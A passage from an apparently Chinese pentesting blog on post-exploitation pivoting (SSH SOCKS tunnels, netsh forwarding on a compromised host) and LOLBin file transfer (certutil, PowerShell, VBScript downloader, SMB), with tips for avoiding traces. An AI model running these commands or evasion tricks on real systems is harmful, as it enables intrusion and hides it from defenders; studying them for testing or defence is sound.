当它为默认值 no 时远程转发就监听 127.0.0.1,取值 yes 则监听 0.0.0.0。这个选项的作用就是让不让别人在公网访问此端口。
GatewayPorts 还有另一个取值是 clientspecified,可以自行指定要监听的 IP。
ssh -N -R 10.0.24.2:8080:127.0.0.1:9999 root@www.raingray.com
比如这里就主动指定监听地址为内网网卡 10.0.24.2,只能在内网里各个机器之间访问,相比 0.0.0.0 暴露在公网会安全不少。
SSH 动态端口转发
本地和远程端口转发,都是端口只能一对一,如想访问其他端口就得再次映射,动态端口解决了此问题,只需与目标机器建立 SSH 就能以此目标机器网络身份访问目标自身及其内网其他机器,它原理是在本地开启 Socks 服务端口,在通过 SSH 连接到目标机建立隧道。
ssh -N -D 0.0.0.0:7890 root@www.raingray.com
-D 开启动态转发,在本地 0.0.0.0:7890(需要注意 bind_address 留空则默认是监听到 0.0.0.0)建立个 Socks 服务(可以支持 4 和 5 版本,开启服务时具体 SSH 选择哪一个无法确认),SSH 连接到 root@www.raingray.com 后将所有本地 Socks 流量转入其中。
通过查看本机端口 7890 监听成功。
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:9999 0.0.0.0:* users:(("php",pid=236011,fd=4))
LISTEN 0 128 0.0.0.0:7890 0.0.0.0:* users:(("ssh",pid=238772,fd=4))
尝试使用 Nmap 对目标网络进行扫描。
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo proxychains nmap --open -sV -sT -n -Pn 127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-17 22:28 EST
[proxychains] Strict chain ... 0.0.0.0:7890 ... 127.0.0.1:15660 <--socket error or timeout!
[proxychains] Strict chain ... 0.0.0.0:7890 ... 127.0.0.1:8290 <--socket error or timeout!
......
[proxychains] Strict chain ... 0.0.0.0:7890 ... 127.0.0.1:80 ... OK
[proxychains] Strict chain ... 0.0.0.0:7890 ... 127.0.0.1:80 ... OK
[proxychains] Strict chain ... 0.0.0.0:7890 ... 127.0.0.1:443 ... OK
Nmap scan report for 127.0.0.1
Host is up (0.0086s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http nginx
443/tcp open ssl/http nginx
3306/tcp open mysql MySQL 5.5.5-10.6.7-MariaDB
8088/tcp open radan-http
9000/tcp open cslistener?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
......
SF:,POST\r\n\r\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.04 seconds
扫描时需要注意 Socks 协议不支持 ICMP、ARP、TCP SYN。
SOCKS works on layer 5 as we mentioned so don't expect things like ping, arp or the half-open reset that SYN scan does in Nmap, to work!
你也可以用通过目标机器网络去利用内网其他机器。这里仅仅 curl 验证下请求是目标机器发送的。
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo proxychains curl -s http://myip.ipip.net/
[sudo] password for kali:
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 0.0.0.0:7890 ... myip.ipip.net:80 ... OK
当前 IP:81.70.14.219 来自于:中国 北京 北京 电信
补充:Windows 没有 SSH 的情况使用 netsh 端口转发
Windows 之间没有 SSH 可以使用 netsh 端口转发。如果可以传输文件也可上传第三方隧道软件 lcx、htran。
使用 netsh 第一个条件是需要你是管理员权限,普通用户无法使用(普通用户运行会提示 “请求的操作需要提升(作为管理员运行)。”)。第二个条件需要 IP Helper 服务和网卡 Internet Protocol Version 6 (TCP/IPv6) 开启。
可以 services.msc 去查看对应服务状态。
在网卡配置处查看 IPv6 开启状态(我这里 WLAN、以太网默认都是关闭,在 IPv4 To IPv4 转发实验中也没失败)。
假设我们目前已经拿下 192.168.0.101 Windos11 主机管理员权限,又发现内网 192.168.0.102 主机远程桌面开启,我们可以用 netsh 本地端口转发访问目标。
在 192.168.0.101:8888 设置端口转发到 192.168.0.102:3389。
C:\Users\gbb\Desktop>netsh interface portproxy add v4tov4 listenport=8888 listenaddress=192.168.0.101 connectport=3389 connectaddress=192.168.0.102
查看本地端口已经监听
PS C:\Users\gbb> netstat -p tcp -n -a | findstr 8888
TCP 192.168.0.101:8888 0.0.0.0:0 LISTENING
查看转发规则。
PS C:\Users\gbb> netsh interface portproxy show all
侦听 ipv4: 连接到 ipv4:
地址 端口 地址 端口
--------------- ---------- --------------- ----------
192.168.0.101 8888 192.168.0.102 3389
PS C:\Users\gbb>
现在只要通过连接边界机 192.168.0.101:8888 就等同于连接到 192.168.0.102:3389。
此刻我们要通过内网另一个网段机器 192.168.0.104 访问 192.168.0.102:3389,发现网络不通,只能与 192.168.0.101 通信。那么可以直接连接 192.168.0.101:8888 端口达到此目的。
连到边界机机 192.168.0.101:8888 端口,很可能可能会被 Windows 防火墙给拦截,因为这台机器入站规则可能默认不允许连接到此端口,因此需要添加入站防火墙规则(需要管理员权限才能操作)。
添加这条名为 allow-rdp-port-access 防火墙规则,配置的是允许远程地址 192.168.1.104 进站流量访问本机 8888 端口。
netsh advfirewall firewall add rule name="allow-rdp-port-access" protocol=TCP dir=in remoteip=192.168.0.104 localport=8888 action=allow
通过 192.168.0.104 主机连接 192.168.0.101:8888 端口成功访问到 192.168.0.102:3389 端口。
下面了解如何删除转发规则(需要管理员权限操作)。
PS C:\Users\gbb> netsh interface portproxy show all
侦听 ipv4: 连接到 ipv4:
地址 端口 地址 端口
--------------- ---------- --------------- ----------
192.168.0.101 8888 192.168.0.102 3389
PS C:\Users\gbb> netsh interface portproxy delete v4tov4 listenaddress=192.168.0.101 listenport=8888
PS C:\Users\gbb> netsh interface portproxy show all
也可以一次重置清空转发规则。
PS C:\Users\gbb> netsh interface portproxy show all
侦听 ipv4: 连接到 ipv4:
地址 端口 地址 端口
--------------- ---------- --------------- ----------
192.168.0.101 8888 192.168.0.102 3389
PS C:\Users\gbb> netsh interface portproxy reset
PS C:\Users\gbb> netsh interface portproxy show all
4 文件传输
建立隧道或者内网横向时肯定要往服务器传文件,用 WebShell 就很方便。如果这台机器本身没有 WebShell,可以用系统自带程序下载文件,如 Linux 下 wget,Windows 下 certutil 证书工具。
本章节里面分 Windows 和 Linux 小节,意为使用自带功能进行传输文件,而使用有些工具原本意图不是用来下载文件的,比如说 certutil 就是证书管理工具,但是可以用来下载文件。这些利用合法工具来达到恶意操作的叫 LOLBins(Living Off the Land Binaries),有个项目叫 LOLBAS 介绍了 Windows 下所有可以用来帮助渗透的程序,Linux 有 GTFOBins。
本章文件传输所涉及的工具,根据使用场景分三类 Windows、Linux、Program Language,在实际环境哪个工具方便用哪个。
工具 | 系统 |
---|---|
FTP | Windows |
SFTP | Windows & Linux |
Bitsadmin | Windows |
Certutil | Windows |
PowerShell | Windows |
SCP | Windows & Linux |
WSH | Windows |
Wget | Linux |
Curl | Linux |
NC | Windows & Linux |
Git | Windows & Linux |
SMB | Windows & Linux |
PHP | Windows & Linux |
Python | Windows & Linux |
Ruby | Windows & Linux |
Perl | Windows & Linux |
但传输要注意安全,不要明文传输,避免流量设备识别内容,不要用自己服务器传输文件,避免被溯源,可以找一个公网存在上传漏洞 Cloud Storage(别自己搭,小心被刷流量造成高价账单),或者已经拿下目标或者其他服务器传。
4.1 FTP
服务端开启 FTP 服务。
pip install pyftpdlib
python3 -m pyftpdlib
还有部分选项可以指定:
- -i,指定 IP 地址(默认本机地址)
- -p,指定端口(默认 2121)
- -w,写权限(默认为只读)
- -d,指定目录 (默认为当前目录)
- -u,指定用户名登录
- -P,设置登录密码
客户端连接。
1.运行 copy con <FileName>
,将 con 键盘输入设备上的内容复制到文件中,输入完成 Ctrl + C
、Ctrl + z + Enter
结束输入将内容写入文件。要是实在没办法用这种法子,就老老实实输出重定向写内容。
open <Host> <Port>
anonymous
anonymous
get <Tool>
bye
open 是连接到 FTP 服务器,后面 anonymous 是账户,get 是下载文件,quit 断开连接。
真实利用中不会有交互式 Shell 使用,FTP 使用 -s 选项执行 <FileName>
中 FTP 命令解决。
ftp -s:<FileName>
4.2 SFTP⚒️
// 默认使用 SSH 连接到 22 端口。
sftp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@81.70.14.219
// 用 -P 指定 SSH 端口
sftp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P <Port> root@81.70.14.219
为防止连接远程服务器在 known_hosts 会留下主机 IP 和公钥信息,SFTP 同样支持 -o 选项,相关原理参考 SCP 小节。
Linux 下非交互式下载(待验证)。
使用 <Username>
、<Password>
连接到 <Host>
下载 <FileName>
。
echo "sftp -n <Host> <<BLAH" >> file.sh
echo "quote USER <UserName>" >> file.sh
echo "quote PASS <Password>" >> file.sh
echo "bin" >> file.sh
echo "get <FileName>" >> file.sh
echo "quit" >> file.sh
echo "BLAH" >> file.sh
echo "exit 0" >> file.sh
chmod +x file.sh && ./file.sh
4.3 Bitsadmin
Bitsadmin is a command-line tool used to create, download or upload jobs, and to monitor their progress
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin
bitsadmin /transfer <JobName> http://<Host>/<Filename> <SaveFileName>
4.4 Certutil
证书管理工具下载文件到当前目录。
certutil -urlcache -split -f http://<Host>/<Filename>
使用 certutil 下载的文件会原封不动在 %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
目录下保存一份,文件名位随机字符,使用 delete 可以删除刚下载的缓存。
certutil -urlcache -split -f http://<Host>/<Filename> delete
4.5 PowerShell
system.net.webclient
powershell -c "(new-object system.net.webclient).downloadfile('http://<HOST>/<Filename>', '<Out-Filename>')"
powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://<HOST>/<Filename>', '<Out-Filename>')"
invoke-WebRequest 可以简写成 iwr、wget、curl。
powershell invoke-WebRequest -uri 'http://<HOST>/<Filename>' -OutFile '<Out-Filename>'
4.6 SCP⚒️
通过 Shell 使用 SCP 从工具服务器拷文件到受害机有 RSA key fingerprint 交互确认,如果第一次连接到机器,会让你确认是否接受,接受后,会保存目标机器公钥到 ~/.ssh/known_hosts 文件内(Windows 则是 %USERPROFILE%.ssh\known_hosts),这个文件里面存在服务器 IP 和 公钥。
这里就有两个问题,怎么自动接受交互确认和不保存公钥信息到 known_hosts 文件。
恰好 SCP 使用 -o 选项可以支持 ssh 选项达到目的。
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [-P <Port>] [-C] [-r] <UserName>@<Host>:<Absolute File Path> <Dst Location>
StrictHostKeyChecking=no
可不做检查,不问 Yes 或 No,自动接受公钥添加到 known_hosts 内。再配合 UserKnownHostsFile=/dev/null
,可以指定存放到哪个 known_hosts 文件内,这里直接丢弃。在 Windows 11 H2(22621.1702)测试中 UserKnownHostsFile 写 /dev/null 也没发现会新增文件。
还有几个选项没提到,-P 指定 SSH 端口,-C 启用 SSH 压缩,方便加快传输速度,-r 是复制目录。
虽然可以不记录到 known_hosts,但是还是要输入密码才能下载文件,这里如何避免无密下载?还没说,可以参考 https://blog.arstercz.com/ssh_scp-auto-connect-note/,启用 -o BatchMode=yes 选项。
4.7 WSH
WSH(Windows Scripting Host) 是用于自动化的脚本技术,这个脚本是 VBScript,如何运行呢?Windows 提供 CLI 版本 cscript.exe 和 GUI 版本 wscript.exe 去执行脚本。
cscript.exe 和 wscript.exe 主要区别在于交互 wscript 通过窗口输入输出数据,cscript 则是通过命令行。
将脚本保存为 ShowWindowsMessage.vbs 尝试使用 cscript 和 wscript 运行。
Dim message
message = "Hell~"
MsgBox message
wscript.echo "Hi~"
wscript 分别弹两次框,内容是 Hell~ 和 Hi~。
而 cscript 只弹出 Hell~,Hi~ 通过控制台输出。
PS C:\Users\gbb\desktop> cscript.exe .\ShowWindowsMessage.vbs
Microsoft (R) Windows Script Host Version 5.812
版权所有(C) Microsoft Corporation。保留所有权利。
Hi~
另一个有趣的技巧是脚本文件后缀名可以是任意字符,或者删掉都成。只需加上 /e:VBScript
选项指定脚本引擎执行文件。
wscript.exe .\ShowWindowsMessage.doc
接着看看如何使用 VBScript 去下载文件。这里是在 PWK PEN-200 课件中发现的一种方式。
将脚本输出到 wget.vbs。
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
运行下载。
cscript wget.vbs http://<HOST>/<Filename> <Filename>
wscript wget.vbs http://<HOST>/<Filename> <Filename>
./wget.vbs http://<HOST>/<Filename> <Filename>
这个脚本缺点是不支持 https。下完后记得删除脚本 wget.vbs,避免留痕。
4.8 Wget
http。
// 下载文件到当前目录
wget http://<Host>/<FileName>
// -O 可以保存到指定目录
wget http://<Host>/<FileName> -O <FileName>
FTP。需要注意的是 FTP 连接端口和数据传输分别使用不同端口,默认数据传输模式是被动传输,也就是客户端要下载文件的时候,服务器需要随机开启一个数据传输端口,客户端通过连接此端口下载,如果服务器防火墙做了严格规则,此端口可能客户端连接不上,自然无法传输数据。你可能会想不是还有主动连接嘛,主动连接是客户端主动开放一个端口用于数据传输,如果防火墙也有限制,服务端就没法主动连接客户端开放的端口传文件。
// 匿名登录下载
wget ftp://host:port/file -O filename
// 禁用默认被动模式,启动主动模式。
wget ftp://host:port/file -O filename --no-passive-ftp
// 有账户的话添加如下选项,作为用户名和密码认证。
wget ftp://host:port/file -O filename --ftp-user=username --ftp-password=pass
wget ftp://<UserName>:<Password>@host:port/file -O filename
4.9 Curl
// Linux 下载文件到当前目录
curl http://<Host>/<FileName> -O
// Linux 下载文件保存到指定目录
curl http://<Host>/<FileName> -o <FileName>
// Windows -o 保存文件到指定目录
wget http://<Host>/<FileName> -O <FileName>
如果下载连接证书有问题,可以用 -k 跳过。
curl http://<Host>/<FileName> -O -k
4.10 NC
更多用途参见 Netcat - raingray Blog 一文。
Server 监听 333 端口接收 333 端口传过来的文件,输出重定向为 23.txt
nc -lp 333 > 23.txt
Client 连接到 1.1.1.1 333 端口 并把 1.txt 文件传过去,成功延迟 1 秒关闭连接。
nc -nv 1.1.1.1 333 < 1.txt –q 1
下面是另一种用法。
Server 监听本机 333 端口,将333端口作为 a.mp4 文件的输入来源,也就是 a.mp4 将输入重定向到 333 端口。
nc -lp 333 < a.mp4
Client 连接到 1.1.1.1 333 端口后将 333 端口的内容输出重定向到当前文件夹下的 2.mp4 文件中,如果没有这个文件它会自动创建。
nc -nv 1.1.1.1 333 > 2.mp4
4.11 Git
语法也很简单直接,第一个参数是要克隆的仓库,第二个参数是仓库保存到当前目录的名称。
git clone <repository> [<directory>]
克隆支持常见 3 种 URL。
git clone ssh://[user@]host.xz[:port]/path/to/repo.git/
git clone git://host.xz[:port]/path/to/repo.git/
git clone http[s]://host.xz[:port]/path/to/repo.git/
4.12 SMB
4.12.1 Windows File Sharing
创建共享。sharenaem 共享名称,Path 是要共享的资源路径,对 UserName 进行授予 READ 权限,还可以赋予 CHANGE、FULL 权限。
NET SHARE <ShareName>=<Path> /GRANT:<UserName>,READ
建立共享。将 C 盘做共享取名为 file,授权 everyone 用户读写权限。
PS C:\Users\gbb> NET SHARE file=C: /GRANT:everyone,FULL
file 共享成功。
PS C:\Users\gbb> NET SHARE
共享名 资源 注解
-------------------------------------------------------------------------------
C$ C:\ 默认共享
IPC$ 远程 IPC
ADMIN$ C:\Windows 远程管理
file C:\
命令成功完成。
命令成功完成。
建立共享这一操作需要使用管理员权限,否则将失败。
PS C:\Users\raingray> NET SHARE file=C: /GRANT:everyone,FULL
发生系统错误 5。
拒绝访问。
连接共享。用户名为 raingray 密码为 password 的账户登录到 192.168.0.102,将其共享资源 file 映射到本地 K 盘。
PS C:\Users\gbb\Desktop> NET USE K: \\192.168.0.102\file password /USER:raingray
命令成功完成。
PS C:\Users\gbb\Desktop> NET USE
会记录新的网络连接。
状态 本地 远程 网络
-------------------------------------------------------------------------------
OK K: \\192.168.0.102\file Microsoft Windows Network
命令成功完成。
PS C:\Users\gbb\Desktop> K:
PS K:\> dir
目录: K:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2022/9/29 14:58 Foxmail 7.2
d----- 2021/6/5 20:10 PerfLogs
d-r--- 2022/9/7 9:47 Program Files
d-r--- 2023/1/6 18:58 Program Files (x86)
d-r--- 2022/2/4 17:39 Users
d----- 2023/1/10 14:10 Windows
PS K:\>
删除共享。所有已经登录的 file 共享的连接将失效。
PS C:\Users\gbb> NET SHARE file /DELETE
file 已经删除。
PS C:\Users\gbb> NET SHARE
共享名 资源 注解
-------------------------------------------------------------------------------
C$ C:\ 默认共享
D$ D:\ 默认共享
IPC$ 远程 IPC
print$ C:\WINDOWS\system32\spool\drivers
打印机驱动程序
ADMIN$ C:\WINDOWS 远程管理
命令成功完成。
更多共享操作见 Impacket-smbserver 小节。
4.12.2 Samba
Sabma 包含对 SMB 实现,使用此软件也能搭建 SMB 服务。
1.CentOS8 安装 Samba
搜 samba 包。
[root@VM-24-2-centos ~]# dnf search samba
Repository extras is listed more than once in the configuration
Last metadata expiration check: 0:01:06 ago on Sun 12 Feb 2023 11:11:15 AM CST.
=============================================================================================================== Name Exactly Matched: samba ================================================================================================================
samba.x86_64 : Server and Client software to interoperate with Windows machines
============================================================================================================== Name & Summary Matched: samba ===============================================================================================================
centos-release-samba411.noarch : Samba 4.11 packages from the CentOS Storage SIG repository
centos-release-samba412.noarch : Samba 4.12 packages from the CentOS Storage SIG repository
centos-release-samba413.noarch : Samba 4.13 packages from the CentOS Storage SIG repository
centos-release-samba414.noarch : Samba 4.14 packages from the CentOS Storage SIG repository
centos-release-samba415.noarch : Samba 4.15 packages from the CentOS Storage SIG repository
ipa-client-samba.x86_64 : Tools to configure Samba on IPA client
pcp-pmda-samba.x86_64 : Performance Co-Pilot (PCP) metrics for Samba
python3-samba.i686 : Samba Python3 libraries
python3-samba.x86_64 : Samba Python3 libraries
python3-samba-test.x86_64 : Samba Python libraries
samba-client.x86_64 : Samba client programs
samba-client-libs.x86_64 : Samba client libraries
samba-client-libs.i686 : Samba client libraries
samba-common.noarch : Files used by both Samba servers and clients
samba-common-libs.x86_64 : Libraries used by both Samba servers and clients
samba-common-tools.x86_64 : Tools for Samba servers and clients
samba-krb5-printing.x86_64 : Samba CUPS backend for printing with Kerberos
samba-libs.i686 : Samba libraries
samba-libs.x86_64 : Samba libraries
samba-test.x86_64 : Testing tools for Samba servers and clients
samba-test-libs.x86_64 : Libraries need by the testing tools for Samba servers and clients
samba-vfs-iouring.x86_64 : Samba VFS module for io_uring
samba-winbind.x86_64 : Samba winbind
samba-winbind-clients.x86_64 : Samba winbind clients
samba-winbind-krb5-locator.x86_64 : Samba winbind krb5 locator
samba-winbind-modules.i686 : Samba winbind modules
samba-winbind-modules.x86_64 : Samba winbind modules
samba-winexe.x86_64 : Samba Winexe Windows Binary
=================================================================================================================== Name Matched: samba ====================================================================================================================
samba-pidl.noarch : Perl IDL compiler
================================================================================================================== Summary Matched: samba ==================================================================================================================
ctdb.x86_64 : A Clustered Database based on Samba's Trivial Database (TDB)
安装
[root@VM-24-2-centos ~]# dnf install samba.x86_64 -y
Repository extras is listed more than once in the configuration
Last metadata expiration check: 0:00:03 ago on Sun 12 Feb 2023 11:17:06 AM CST.
Dependencies resolved.
============================================================================================================================================================================================================================================================
Package Architecture Version Repository Size
============================================================================================================================================================================================================================================================
Installing:
samba x86_64 4.14.5-7.el8_5 base 848 k
Installing dependencies:
samba-common-tools x86_64 4.14.5-7.el8_5 base 500 k
samba-libs x86_64 4.14.5-7.el8_5 base 169 k
Transaction Summary
============================================================================================================================================================================================================================================================
Install 3 Packages
Total download size: 1.5 M
Installed size: 4.0 M
Downloading Packages:
(1/3): samba-libs-4.14.5-7.el8_5.x86_64.rpm 402 kB/s | 169 kB 00:00
(2/3): samba-common-tools-4.14.5-7.el8_5.x86_64.rpm 751 kB/s | 500 kB 00:00
(3/3): samba-4.14.5-7.el8_5.x86_64.rpm 1.0 MB/s | 848 kB 00:00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Total 1.8 MB/s | 1.5 MB 00:00
Running transaction check
Transaction check succeeded.
Running transaction test
Transaction test succeeded.
Running transaction
Preparing : 1/1
Installing : samba-libs-4.14.5-7.el8_5.x86_64 1/3
Installing : samba-common-tools-4.14.5-7.el8_5.x86_64 2/3
Installing : samba-4.14.5-7.el8_5.x86_64 3/3
Running scriptlet: samba-4.14.5-7.el8_5.x86_64 3/3
Verifying : samba-4.14.5-7.el8_5.x86_64 1/3
Verifying : samba-common-tools-4.14.5-7.el8_5.x86_64 2/3
Verifying : samba-libs-4.14.5-7.el8_5.x86_64 3/3
Installed:
samba-4.14.5-7.el8_5.x86_64 samba-common-tools-4.14.5-7.el8_5.x86_64 samba-libs-4.14.5-7.el8_5.x86_64
Complete!
2.配置 Samba
配置文件 /etc/samba/smb.conf。
# See smb.conf.example for a more detailed config file or
# read the smb.conf manpage.
# Run 'testparm' to verify the config is correct after
# you modified it.
[global]
workgroup = SAMBA
security = user
passdb backend = tdbsam
printing = cups
printcap name = cups
load printers = yes
cups options = raw
[homes]
comment = Home Directories
valid users = %S, %D%w%S
browseable = No
read only = No
inherit acls = Yes
[printers]
comment = All Printers
path = /var/tmp
printable = Yes
create mask = 0600
browseable = No
[print$]
comment = Printer Drivers
path = /var/lib/samba/drivers
write list = @printadmin root
force group = @printadmin
create mask = 0664
directory mask = 0775
关于配置文件的含义可以查看 man smb.conf 或者去找 /etc/samba/smb.conf.example,它们都做了详尽的解释。
# section 名,可以自定义,后面连接时用作共享名称
[fileShare]
# 注释
comment = SMB 文件共享
# 共享目录
path = /srv/samba/fileSare/
# 权限设置:只读
read only = yes
# 是否允许 Windows 资源管理器进行浏览
browsable = yes
# 无需验证账户客户端可以匿名访问
guest ok = no
# path 共享目录内创建文件权限。其他人不能读写
create mask = 0770
# path 共享目录内创建目录权限,其他人不能读写
directory mask = 0770
# 允许用户 greg 和 pcusers 组内用户登录。如果不些此选项就所有 Samba 数据库内用户可以登录。
# valid users = fileshare, @pcusers
valid users = fileshare
# 设置哪些主机允许链接
# hosts allow = 127.0.0.1, 192.168.0.31, 192.168.0.32
# 禁止哪些主机连接
# hosts deny = 0.0.0.0/0
# 用户 mary,用户组 students 内用户只能对共享目录有只读权限,不能写。
# read list = mary, @students
# 用户 mary,用户组 students 内用户对共享目录有读写权限。
# write list = mary, @students
# 指定使用哪些端口,默认开启 139 和 445。要放在 [global] 中用才生效。
# smb ports = 445 139
# 指定 SMB 协议最小版本,默认 SMB2_10
# server min protocol = SMB2_24
# 指定 SMB 协议版本,默认 SMB3
# server max protocol = SMB3_11
验证配置文件是否正确,有问题会做出提示。
[root@VM-24-2-centos samba]# testparm
Load smb config files from /etc/samba/smb.conf
Loaded services file OK.
Weak crypto is allowed
Server role: ROLE_STANDALONE
Press enter to see a dump of your service definitions
^C
启动应用
[root@VM-24-2-centos samba]# systemctl start smb.service && systemctl status smb.service
● smb.service - Samba SMB Daemon
Loaded: loaded (/usr/lib/systemd/system/smb.service; disabled; vendor preset: disabled)
Active: active (running) since Sun 2023-02-12 15:34:42 CST; 3s ago
Docs: man:smbd(8)
man:samba(7)
man:smb.conf(5)
Main PID: 3974474 (smbd)
Status: "smbd: ready to serve connections..."
Tasks: 4 (limit: 23720)
Memory: 23.8M
CGroup: /system.slice/smb.service
├─3974474 /usr/sbin/smbd --foreground --no-process-group
├─3974477 /usr/sbin/smbd --foreground --no-process-group
├─3974478 /usr/sbin/smbd --foreground --no-process-group
└─3974479 /usr/sbin/smbd --foreground --no-process-group
Feb 12 15:34:41 VM-24-2-centos systemd[1]: Starting Samba SMB Daemon...
Feb 12 15:34:42 VM-24-2-centos smbd[3974474]: [2023/02/12 15:34:42.258620, 0] ../../lib/util/become_daemon.c:136(daemon_ready)
Feb 12 15:34:42 VM-24-2-centos smbd[3974474]: daemon_ready: daemon 'smbd' finished starting up and ready to serve connections
Feb 12 15:34:42 VM-24-2-centos systemd[1]: Started Samba SMB Daemon.
不用重启程序,动态生效配置文件。
smbcontrol smbd reload-config
3.设置 Samba 用户
添加用户,不建立家目录,指定一个 Shell 不允许登录。创建 samba 账户前提是系统账户中必须存在此用户,不然无法创建。
useradd -M -s /usr/sbin/nologin fileshare
创建 Samba 用户 fileshare。smbpasswd 可以设置 Samba 用户密码,或者禁用、启用 Samba 账户。
[root@VM-24-2-centos samba]# smbpasswd -a fileshare
New SMB password:
Retype new SMB password:
Added user fileshare.
samba 是管理本地 Samba 数据库,我们来查看 Samba 服务有哪些用户。
[root@VM-24-2-centos samba]# pdbedit -L
fileshare:1001:
删除 samba 服务指定用户
smbpasswd -x <UserName>
创建出配置文件共享目录,并赋予权限,不让其他人能够进入。
mkdir -p /srv/samba/fileSare && chown fileshare:fileshare /srv/samba/fileSare && chmod 750 /srv/samba/fileSare
4.连接
连接前需要防火墙开启 139 端口,445 个人测试后开不开不影响登录、下载、上传文件等操作。
Linux 连接需要 samba-client。
ubuntu@ip-172-26-7-83:~$ smbclient //1.1.1.1/fileshare -U fileshare fileshare -v
Try "help" to get a list of possible commands.
smb: \>
服务器也有连接记录。
[root@VM-24-2-centos samba]# smbstatus
Samba version 4.14.5
PID Username Group Machine Protocol Version Encryption Signing
----------------------------------------------------------------------------------------------------------------------------------------
3984748 fileshare fileshare ip-172-26-7-83 (ipv4:1.1.1.1:39786) SMB3_11 - partial(AES-128-CMAC)
Service pid Machine Connected at Encryption Signing
---------------------------------------------------------------------------------------------
fileShare 3984748 ip-172-26-7-83 Sun Feb 12 04:23:26 PM 2023 CST - -
No locked files
下载文件到当前目录
smb: \> get smb.conf
getting file \smb.conf of size 1733 as smb.conf (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \> !pwd && ls
/home/ubuntu
smb.conf
上传文件由于没权限被拒绝
smb: \> put /etc/passwd testPutFile
NT_STATUS_ACCESS_DENIED opening remote file \testPutFile
我们在 smb.conf [fileshare] 中添加此账号写入权限
write list = fileshare
重新读取配置文件
smbcontrol smbd reload-config
重新连接服务器再上传就成功。
ubuntu@ip-172-26-7-83:~$ smbclient //1.1.1.1/fileshare -U fileshare fileshare
Try "help" to get a list of possible commands.
smb: \> put /etc/passwd testPutFile
putting file /etc/passwd as \testPutFile (5.2 kb/s) (average 5.2 kb/s)
smb: \> ls
. D 0 Sun Feb 12 08:44:31 2023
.. D 0 Sun Feb 12 07:40:55 2023
smb.conf N 1733 Sun Feb 12 08:35:27 2023
testPutFile A 1920 Sun Feb 12 08:44:32 2023
82503044 blocks of size 1024. 66327788 blocks available
Windows11 不管怎么连接都失败。
d:\nmap>NET USE \\81.70.14.219\fileShare fileshare /USER:fileshare
发生系统错误 67。
找不到网络名。
起初以为是端口被拦,换端口也没用,后面排是不是 SMB 服务端版本问题,设置后也无效,暂时未找到解决方案。
参考资料:
- How to transfer files to Linux server using Samba - UpCloud
- Setting up Samba as a Standalone Server - SambaWiki
4.12.3 Impacket-smbserver
使用 Impacket 中的 smbserver.py 开启 SMB2 Server,用户名和密码都是 root,共享目录设置在 / 根。
┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-smbserver -username root -password root rootPath / -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
登录并将 \192.168.0.102\rootPath 映射为本地 K:。Windows 10 和 11 默认使用 SMB2,去连接 SMB1 服务会提示 SMB1 已经被弃用。
C:\Users\gbb>NET USE K: \\192.168.0.102\rootPath root /USER:root
命令成功完成。
查看连接是否建立。
C:\Users\gbb>NET USE
会记录新的网络连接。
状态 本地 远程 网络
-------------------------------------------------------------------------------
OK K: \\192.168.0.102\rootPath Microsoft Windows Network
命令成功完成。
查看有哪些盘符。有 K 盘说明映射成功。
C:\Users\gbb>wmic logicaldisk get caption,name
